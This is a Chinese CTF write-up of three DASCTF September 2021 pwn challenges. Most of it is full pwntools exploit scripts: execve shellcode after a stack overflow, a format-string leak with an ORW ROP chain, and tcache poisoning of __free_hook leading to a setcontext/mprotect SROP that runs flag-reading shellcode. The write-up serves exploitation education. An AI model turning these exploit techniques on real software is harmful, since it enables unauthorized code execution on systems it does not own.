DASCTF-2021-9月
头一次打安恒月赛,体验还不错,没有足够的时间,稍微看了下pwn,两个栈是我没想到的,然后还有一个heap题目,然而还需要先绕过re认证才能正常的pwn也是我没想到的。。
文章不贴图片了,较简单
hehepwn
啥保护没开
这是最简单的,就一个scanf明显的溢出,然后strdup函数那里,可以写满s把\x00
打没了,然后泄露rbp,然后就是ret2shellcode
exp
#coding:utf-8
from pwn import *
context.log_level='debug'
elf = ELF('./bypwn')
#p = process('./bypwn')
p = remote("node4.buuoj.cn","28429")
shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
#attach(p,'b *0x00000000004008B3')
p.recvuntil('well you input:\n')
p.sendline('a'*32)
rbp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "rbp=>"+hex(rbp)
p.recvuntil('EASY PWN PWN PWN~\n')
payload = 'a'*72+'a'*8+'junkjunk' + p64(rbp+0x18)+'abcdabcd'+shellcode
p.sendline(payload)
# pause()
p.interactive()
hahapwn
这个也比较简单,只有PIE没开,有个格式化字符串,然后还有个read溢出,思路就来了。
首先格式化泄露 canary
以及libc基址,然后题目给了libc,直接打orw就可以了(开了沙箱)
from pwn import *
context.log_level = 'debug'
libc = ELF('./libc.so.6')
elf = ELF('./pwn1')
p = process('./pwn1')
#attach(p,'b *0x00000000040077C')
def leak():
p.recvuntil('Welcome! What is your name?\n')
p.sendline('AAAAAAAA-%18$p-%28$p-%27$paaaaaa'+'./flag\x00'.ljust(8,'\x00'))
p.recvuntil('AAAAAAAA-')
leak()
std = int(p.recv(14),16)
print "std"+'[+]=>'+hex(std)
offset = libc.sym['_IO_2_1_stdin_']
libc_base = std - offset
print "libc_base=>[+]"+hex(libc_base)
p.recv(1)
stack = int(p.recv(14),16)
print "stack=>[+]"+hex(stack)
target = stack - 0x100 + 0x18 + 0x8
print "target=>[+]"+hex(target)
p.recv(1)
canary = int(p.recv(18),16)
print "canary=>[+]"+hex(canary)
pause()
p.recvuntil('What can we help you?\n')
flag_addr = target
pop_rdi_ret = 0x0000000000021112 + libc_base
pop_rsi_ret = 0x00000000000202f8 + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
orw = p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.sym['write'])
payload = 'a'*0x68 + p64(canary) + p64(0)+ orw
p.sendline(payload)
pause()
p.interactive()
datasystem
这是比较难的那个,需要先逆出passwd然后才能正常的打。当时给的是爆破出的,发现给出32位的数字,s2就是0开头,那么结合\x00
截断,可以考虑绕过
passwd = 'c'*32
username = 'admin\x00'
然后有两种打法,一种是越界读写,还有一种是read存在堆溢出(详细的要去看看sprintf函数)
-
第一种,打越界读写
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9NnIcAYa-1632759337062)(https://i.bmp.ovh/imgs/2021/09/668b620c8c7eb727.png)]
对index没有限制,越界读写
bss段相邻的是存储size的数组,那么可以重写size,进行溢出 -
第二种,read存在堆溢出,他的read长度始终是0x500
exp稍后补上
尝试了很久,第一种越界的打法总是报错
后来发现我以为的越界不对,对于scanf来说%d是取1个数字。所以说这里没有越界。还是看堆溢出
堆溢出是在add函数里面产生的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sApeHgyO-1632759337069)(https://i.bmp.ovh/imgs/2021/09/4c369ab004235300.png)]
这里的snprintf函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YDT7YCBw-1632759337072)(https://i.bmp.ovh/imgs/2021/09/6dfbcea8a0e3ca9a.png)]
实际上就是想要写入多少,就返回多少,查看一下后面那个东西
大小为0x500,所以写入的大小实际上总是0x500,利用这点可以构造溢出和%s泄露,然后还是利用溢出打tcache的fd–>orw
chunk0
chunk1 unsorted
chunk2 protect
free chunk1-----overwrite chunk0------leak-----split chunk1-----change fd-----free_hook to orw
exp
from pwn import *
context.log_level='debug'
context(arch = 'amd64' , os = 'linux')
#p = process('./datasystem')
p = remote('node4.buuoj.cn','28053')
libc = ELF('./libc-2.27-data.so')
def login():
p.sendafter("please input username: ", "admin\x00")
p.sendafter("please input password: ", "c"*32)
def add(size, data="a\n"):
p.sendlineafter(">> :\n", "1")
p.sendlineafter("Size: \n", str(size))
p.sendafter("what's your Content: \n", data)
def delete(idx):
p.sendlineafter(">> :\n", "2")
p.sendlineafter("Index:\n", str(idx))
def show(idx):
p.sendlineafter(">> :\n", "3")
p.sendlineafter("Index:\n", str(idx))
def edit(idx, data):
p.sendlineafter(">> :\n", "4")
p.sendlineafter("Index:\n", str(idx))
p.recvuntil('Content:\n')
p.send(data)
login()
#----------------------------------
#attach(p,'b *$rebase(0x0000000000002EFA)')
add(0x20)#0
add(0x500)#1
add(0x100)#2
add(0x20)#3
delete(1)
delete(0)
payload = 'a'*0x20+'junkjunk'+'kkkkkkkk'
add(0x20,payload)
show(0)
# main_arena+96
main_arena_96 = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
main_arena = main_arena_96 - 96
print "main_arena=>[+]"+hex(main_arena)
libc_base = main_arena - 0x3EBC40
print "libc_base=>[+]"+hex(libc_base)
#pause()
delete(0)
payload = 'a'*0x20 + p64(0) + p64(0x510)
add(0x20,payload) #0
#pause()
add(0x10,'b')#1
delete(0)
delete(1)
payload = 'a'*0x20 + p64(0) + p64(0x20) + p64(libc_base+libc.sym['__free_hook'])
add(0x20,payload) #0
free_hook = libc_base+libc.sym['__free_hook']
add(0x10,p64(free_hook))#1
setcontext = libc_base+libc.sym['setcontext']+53
new_addr = free_hook & 0xfffffffffffff000
#----------------------------------frame
frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']
#----------------------------------shellcode
shellcode1 = '''xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
'''%new_addr
#----------------------------------
payload = p64(setcontext) + p64(free_hook+0x18)*2 + asm(shellcode1)
#----------------------------------
orw = '''
mov rax, 0x67616c662f2e ;// ./flag
push rax
mov rdi, rsp ;// ./flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
add(0x10,payload) #4
edit(2,str(frame))
pause()
delete(2)
p.sendline(asm(orw))
#----------------------------------
p.interactive()
博客 : http://www.moqizou.top/